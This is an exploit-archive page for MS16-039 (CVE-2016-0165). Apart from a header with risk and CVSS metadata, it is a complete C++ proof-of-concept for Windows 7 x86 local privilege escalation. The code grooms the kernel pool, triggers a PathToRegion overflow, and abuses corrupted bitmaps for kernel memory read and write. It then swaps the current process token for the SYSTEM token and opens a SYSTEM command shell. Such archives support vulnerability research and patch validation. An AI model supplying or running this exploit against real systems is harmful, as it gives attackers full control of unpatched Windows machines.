Microsoft Windows Kernel (Windows 7 x86) Local Privilege Escalation (MS16-039)

2018.04.18
Credit: xiaodaozhi
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#include <Windows.h> #include <wingdi.h> #include <iostream> #include <Psapi.h> #pragma comment(lib, "psapi.lib") #define POCDEBUG 0 #if POCDEBUG == 1 #define POCDEBUG_BREAK() getchar() #elif POCDEBUG == 2 #define POCDEBUG_BREAK() DebugBreak() #else #define POCDEBUG_BREAK() #endif static HBITMAP hBmpHunted = NULL; static HBITMAP hBmpExtend = NULL; static DWORD iMemHunted = NULL; static PDWORD pBmpHunted = NULL; CONST LONG maxCount = 0x6666667; CONST LONG maxLimit = 0x04E2000; CONST LONG maxTimes = 4000; CONST LONG tmpTimes = 5500; static POINT point[maxCount] = { 0, 0 }; static HBITMAP hbitmap[maxTimes] = { NULL }; static HACCEL hacctab[tmpTimes] = { NULL }; CONST LONG iExtHeight = 948; CONST LONG iExtpScan0 = 951; static VOID xxCreateClipboard(DWORD Size) { PBYTE Buffer = (PBYTE)malloc(Size); FillMemory(Buffer, Size, 0x41); Buffer[Size - 1] = 0x00; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size); CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size); GlobalUnlock(hMem); SetClipboardData(CF_TEXT, hMem); } static BOOL xxPoint(LONG id, DWORD Value) { LONG iLeng = 0x00; pBmpHunted[id] = Value; iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted); if (iLeng < 0x1000) { return FALSE; } return TRUE; } static BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb) { LONG iLeng = 0; pBmpHunted[iExtpScan0] = addr; iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted); if (iLeng < 0x1000) { return FALSE; } iLeng = SetBitmapBits(hBmpExtend, cb, pvBits); if (iLeng < (LONG)cb) { return FALSE; } return TRUE; } static BOOL xxPointToGet(LONG addr, PVOID pvBits, DWORD cb) { LONG iLeng = 0; pBmpHunted[iExtpScan0] = addr; iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted); if (iLeng < 0x1000) { return FALSE; } iLeng = GetBitmapBits(hBmpExtend, cb, pvBits); if (iLeng < (LONG)cb) { return FALSE; } return TRUE; } static VOID xxInitPoints(VOID) { for (LONG i = 0; i < maxCount; i++) { point[i].x = (i % 2) + 1; point[i].y = 100; } for (LONG i = 0; i < 75; i++) { point[i].y = i + 1; } } static BOOL xxDrawPolyLines(HDC hdc) { for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) { // std::cout << ":" << (PVOID)i << std::endl; if (!PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i))) { return FALSE; } } return TRUE; } static BOOL xxCreateBitmaps(INT nWidth, INT Height, UINT nbitCount) { POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { hbitmap[i] = CreateBitmap(nWidth, Height, 1, nbitCount, NULL); if (hbitmap[i] == NULL) { return FALSE; } } return TRUE; } static BOOL xxCreateAcceleratorTables(VOID) { POCDEBUG_BREAK(); for (LONG i = 0; i < tmpTimes; i++) { ACCEL acckey[0x0D] = { 0 }; hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D); if (hacctab[i] == NULL) { return FALSE; } } return TRUE; } static BOOL xxDeleteBitmaps(VOID) { BOOL bReturn = FALSE; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { bReturn = DeleteObject(hbitmap[i]); hbitmap[i] = NULL; } return bReturn; } static VOID xxCreateClipboards(VOID) { POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { xxCreateClipboard(0xB5C); } } static BOOL xxDigHoleInAcceleratorTables(LONG b, LONG e) { BOOL bReturn = FALSE; for (LONG i = b; i < e; i++) { bReturn = DestroyAcceleratorTable(hacctab[i]); hacctab[i] = NULL; } return bReturn; } static VOID xxDeleteAcceleratorTables(VOID) { for (LONG i = 0; i < tmpTimes; i++) { if (hacctab[i] == NULL) { continue; } DestroyAcceleratorTable(hacctab[i]); hacctab[i] = NULL; } } static BOOL xxRetrieveBitmapBits(VOID) { pBmpHunted = static_cast<PDWORD>(malloc(0x1000)); ZeroMemory(pBmpHunted, 0x1000); LONG index = -1; LONG iLeng = -1; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { iLeng = GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted); if (iLeng < 0x2D0) { continue; } index = i; std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl; hBmpHunted = hbitmap[i]; break; } if (index == -1) { std::cout << "FAILED: " << (PVOID)(-1) << std::endl; return FALSE; } return TRUE; } static BOOL xxGetExtendPalette(VOID) { PVOID pBmpExtend = malloc(0x1000); LONG index = -1; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { if (hbitmap[i] == hBmpHunted) { continue; } if (GetBitmapBits(hbitmap[i], 0x1000, pBmpExtend) < 0x2D0) { continue; } index = i; std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl; hBmpExtend = hbitmap[i]; break; } free(pBmpExtend); pBmpExtend = NULL; if (index == -1) { std::cout << "FAILED: " << (PVOID)(-1) << std::endl; return FALSE; } return TRUE; } static VOID xxOutputBitmapBits(VOID) { POCDEBUG_BREAK(); for (LONG i = 0; i < 0x1000 / sizeof(DWORD); i++) { std::cout << '['; std::cout.fill('0'); std::cout.width(4); std::cout << i << ']' << (PVOID)pBmpHunted[i]; if (((i + 1) % 4) != 0) { std::cout << " "; } else { std::cout << std::endl; } } std::cout.width(0); } static BOOL xxFixHuntedPoolHeader(VOID) { DWORD szInputBit[0x100] = { 0 }; CONST LONG iTrueCbdHead = 205; CONST LONG iTrueBmpHead = 937; szInputBit[0] = pBmpHunted[iTrueCbdHead + 0]; szInputBit[1] = pBmpHunted[iTrueCbdHead + 1]; BOOL bReturn = FALSE; bReturn = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08); if (!bReturn) { return FALSE; } szInputBit[0] = pBmpHunted[iTrueBmpHead + 0]; szInputBit[1] = pBmpHunted[iTrueBmpHead + 1]; bReturn = xxPointToHit(iMemHunted + 0xb70, szInputBit, 0x08); if (!bReturn) { return FALSE; } return TRUE; } static BOOL xxFixHuntedBitmapObject(VOID) { DWORD szInputBit[0x100] = { 0 }; szInputBit[0] = (DWORD)hBmpHunted; BOOL bReturn = FALSE; bReturn = xxPointToHit(iMemHunted + 0xb78, szInputBit, 0x04); if (!bReturn) { return FALSE; } bReturn = xxPointToHit(iMemHunted + 0xb8c, szInputBit, 0x04); if (!bReturn) { return FALSE; } return TRUE; } static DWORD_PTR xxGetNtoskrnlAddress(VOID) { DWORD_PTR AddrList[500] = { 0 }; DWORD cbNeeded = 0; EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded); return AddrList[0]; } static DWORD_PTR xxGetSysPROCESS(VOID) { DWORD_PTR Module = 0x00; DWORD_PTR NtAddr = 0x00; Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe"); NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess"); FreeLibrary((HMODULE)Module); NtAddr = NtAddr - Module; Module = xxGetNtoskrnlAddress(); if (Module == 0x00) { return 0x00; } NtAddr = NtAddr + Module; if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR))) { return 0x00; } return NtAddr; } CONST LONG off_EPROCESS_UniqueProId = 0x0b4; CONST LONG off_EPROCESS_ActiveLinks = 0x0b8; static DWORD_PTR xxGetTarPROCESS(DWORD_PTR SysPROC) { if (SysPROC == 0x00) { return 0x00; } DWORD_PTR point = SysPROC; DWORD_PTR value = 0x00; do { value = 0x00; xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR)); if (value == 0x00) { break; } if (value == GetCurrentProcessId()) { return point; } value = 0x00; xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR)); if (value == 0x00) { break; } point = value - off_EPROCESS_ActiveLinks; if (point == SysPROC) { break; } } while (TRUE); return 0x00; } CONST LONG off_EPROCESS_Token = 0x0f8; static DWORD_PTR dstToken = 0x00; static DWORD_PTR srcToken = 0x00; static BOOL xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC) { if (dstPROC == 0x00 || srcPROC == 0x00) { return FALSE; } // get target process original token pointer xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR)); if (dstToken == 0x00) { return FALSE; } // get system process token pointer xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR)); if (srcToken == 0x00) { return FALSE; } // modify target process token pointer to system xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR)); // just test if the modification is successful DWORD_PTR tmpToken = 0x00; xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR)); if (tmpToken != srcToken) { return FALSE; } return TRUE; } static BOOL xxRecoverTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC) { if (dstPROC == 0x00 || srcPROC == 0x00) { return FALSE; } if (dstToken == 0x00 || srcToken == 0x00) { return FALSE; } // recover the original token pointer to target process xxPointToHit(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR)); return TRUE; } static VOID xxCreateCmdLineProcess(VOID) { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); } static VOID xxPrivilegeElevation(VOID) { BOOL bReturn = FALSE; do { DWORD SysPROC = 0x0; DWORD TarPROC = 0x0; POCDEBUG_BREAK(); SysPROC = xxGetSysPROCESS(); if (SysPROC == 0x00) { break; } std::cout << "SYSTEM PROCESS: " << (PVOID)SysPROC << std::endl; POCDEBUG_BREAK(); TarPROC = xxGetTarPROCESS(SysPROC); if (TarPROC == 0x00) { break; } std::cout << "TARGET PROCESS: " << (PVOID)TarPROC << std::endl; POCDEBUG_BREAK(); bReturn = xxModifyTokenPointer(TarPROC, SysPROC); if (!bReturn) { break; } std::cout << "MODIFIED TOKEN TO SYSTEM!" << std::endl; std::cout << "CREATE NEW CMDLINE PROCESS..." << std::endl; POCDEBUG_BREAK(); xxCreateCmdLineProcess(); POCDEBUG_BREAK(); std::cout << "RECOVER TOKEN..." << std::endl; bReturn = xxRecoverTokenPointer(TarPROC, SysPROC); if (!bReturn) { break; } bReturn = TRUE; } while (FALSE); if (!bReturn) { std::cout << "FAILED" << std::endl; } } INT POC_CVE20160165(VOID) { std::cout << "-------------------" << std::endl; std::cout << "POC - CVE-2016-0165" << std::endl; std::cout << "-------------------" << std::endl; BOOL bReturn = FALSE; do { std::cout << "INIT POINTS..." << std::endl; xxInitPoints(); HDC hdc = GetDC(NULL); std::cout << "GET DEVICE CONTEXT: " << hdc << std::endl; if (hdc == NULL) { bReturn = FALSE; break; } std::cout << "BEGIN DC PATH..." << std::endl; bReturn = BeginPath(hdc); if (!bReturn) { break; } std::cout << "DRAW POLYLINES..." << std::endl; bReturn = xxDrawPolyLines(hdc); if (!bReturn) { break; } std::cout << "ENDED DC PATH..." << std::endl; bReturn = EndPath(hdc); if (!bReturn) { break; } std::cout << "CREATE BITMAPS (1)..." << std::endl; bReturn = xxCreateBitmaps(0xE34, 0x01, 8); if (!bReturn) { break; } std::cout << "CREATE ACCTABS (1)..." << std::endl; bReturn = xxCreateAcceleratorTables(); if (!bReturn) { break; } std::cout << "DELETE BITMAPS (1)..." << std::endl; xxDeleteBitmaps(); std::cout << "CREATE CLIPBDS (1)..." << std::endl; xxCreateClipboards(); std::cout << "CREATE BITMAPS (2)..." << std::endl; bReturn = xxCreateBitmaps(0x01, 0xB1, 32); std::cout << "DELETE ACCTABS (H)..." << std::endl; xxDigHoleInAcceleratorTables(2000, 4000); std::cout << "PATH TO REGION..." << std::endl; POCDEBUG_BREAK(); HRGN hrgn = PathToRegion(hdc); if (hrgn == NULL) { bReturn = FALSE; break; } std::cout << "DELETE REGION..." << std::endl; DeleteObject(hrgn); std::cout << "LOCATE HUNTED BITMAP..." << std::endl; bReturn = xxRetrieveBitmapBits(); if (!bReturn) { break; } // std::cout << "OUTPUT BITMAP BITS..." << std::endl; // xxOutputBitmapBits(); std::cout << "MODIFY EXTEND BITMAP HEIGHT..." << std::endl; POCDEBUG_BREAK(); bReturn = xxPoint(iExtHeight, 0xFFFFFFFF); if (!bReturn) { break; } std::cout << "LOCATE EXTEND BITMAP..." << std::endl; bReturn = xxGetExtendPalette(); if (!bReturn) { break; } if ((pBmpHunted[iExtpScan0] & 0xFFF) != 0x00000CCC) { bReturn = FALSE; std::cout << "FAILED: " << (PVOID)pBmpHunted[iExtpScan0] << std::endl; break; } iMemHunted = (pBmpHunted[iExtpScan0] & ~0xFFF) - 0x1000; std::cout << "HUNTED PAGE: " << (PVOID)iMemHunted << std::endl; std::cout << "FIX HUNTED POOL HEADER..." << std::endl; bReturn = xxFixHuntedPoolHeader(); if (!bReturn) { break; } std::cout << "FIX HUNTED BITMAP OBJECT..." << std::endl; bReturn = xxFixHuntedBitmapObject(); if (!bReturn) { break; } std::cout << "-------------------" << std::endl; std::cout << "PRIVILEGE ELEVATION" << std::endl; std::cout << "-------------------" << std::endl; xxPrivilegeElevation(); std::cout << "-------------------" << std::endl; std::cout << "DELETE BITMAPS (2)..." << std::endl; xxDeleteBitmaps(); std::cout << "DELETE ACCTABS (3)..." << std::endl; xxDeleteAcceleratorTables(); bReturn = TRUE; } while (FALSE); if (!bReturn) { std::cout << GetLastError() << std::endl; } std::cout << "-------------------" << std::endl; getchar(); return 0; } INT main(INT argc, CHAR *argv[]) { POC_CVE20160165(); return 0; }


Vote for this issue:
0%
100%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top